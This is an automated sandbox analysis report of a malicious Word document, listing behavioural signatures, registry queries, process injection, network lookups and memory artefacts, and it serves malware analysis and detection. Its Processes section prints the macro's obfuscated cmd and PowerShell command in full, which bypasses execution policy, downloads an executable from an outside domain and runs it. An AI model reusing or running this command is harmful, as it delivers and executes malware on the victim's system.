Analysis Overview
SHA256
bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5
Threat Level: Known bad
The file bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Suspicious behavior: AddClipboardFormatListener
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Checks processor information in registry
Enumerates system info in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-03-27 14:20
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-03-27 14:20
Reported
2024-03-27 14:21
Platform
win10v2004-20240319-en
Max time kernel
30s
Max time network
35s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4776 wrote to memory of 1128 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 4776 wrote to memory of 1128 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 1128 wrote to memory of 920 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1128 wrote to memory of 920 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5.doc" /o ""
C:\Windows\SYSTEM32\cmd.exe
cmd.exe /k ^powe^rsh^ell -E^x^ecuti^onPo^licy by^pass -n^oprofi^le -wi^nd^ows^tyle hi^dden $wc = New-Object System^.Net.Webclient;$wc.Hea^ders.Ad^d('Us^er-Ag^ent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');$wc.Do^wnlo^adFi^le('ht^tp://sacrificery.top/ll/ldd.php','%TEMP%.e^xe') & IF EXIST %TEMP%.e^xe ( s^ta^rt %TEMP%.e^xe) & exit
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden $wc = New-Object System.Net.Webclient;$wc.Headers.Add('User-Agent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');$wc.DownloadFile('http://sacrificery.top/ll/ldd.php','C:\Users\Admin\AppData\Local\Temp.exe')
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 138.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.194.73.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 194.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | sacrificery.top | udp |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.110.16.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.16.208.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
Files
memory/4776-0-0x00007FFC55A70000-0x00007FFC55A80000-memory.dmp
memory/4776-1-0x00007FFC55A70000-0x00007FFC55A80000-memory.dmp
memory/4776-2-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-4-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-3-0x00007FFC55A70000-0x00007FFC55A80000-memory.dmp
memory/4776-5-0x00007FFC55A70000-0x00007FFC55A80000-memory.dmp
memory/4776-6-0x00007FFC55A70000-0x00007FFC55A80000-memory.dmp
memory/4776-7-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-8-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-9-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-10-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-11-0x00007FFC53110000-0x00007FFC53120000-memory.dmp
memory/4776-12-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-13-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-14-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-15-0x00007FFC53110000-0x00007FFC53120000-memory.dmp
memory/4776-16-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-17-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-18-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-20-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-19-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-21-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-22-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-36-0x000002E045F40000-0x000002E046F10000-memory.dmp
memory/4776-37-0x000002E045F40000-0x000002E046F10000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hytuz14p.nf0.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/920-40-0x00000295ACB60000-0x00000295ACB82000-memory.dmp
memory/920-48-0x00007FFC69DD0000-0x00007FFC6A891000-memory.dmp
memory/920-49-0x00000295C5080000-0x00000295C5090000-memory.dmp
memory/920-50-0x00000295C5080000-0x00000295C5090000-memory.dmp
memory/920-56-0x00007FFC69DD0000-0x00007FFC6A891000-memory.dmp
memory/4776-59-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-60-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-61-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-62-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-63-0x00007FFC959F0000-0x00007FFC95BE5000-memory.dmp
memory/4776-64-0x000002E045F40000-0x000002E046F10000-memory.dmp
memory/4776-65-0x000002E045F40000-0x000002E046F10000-memory.dmp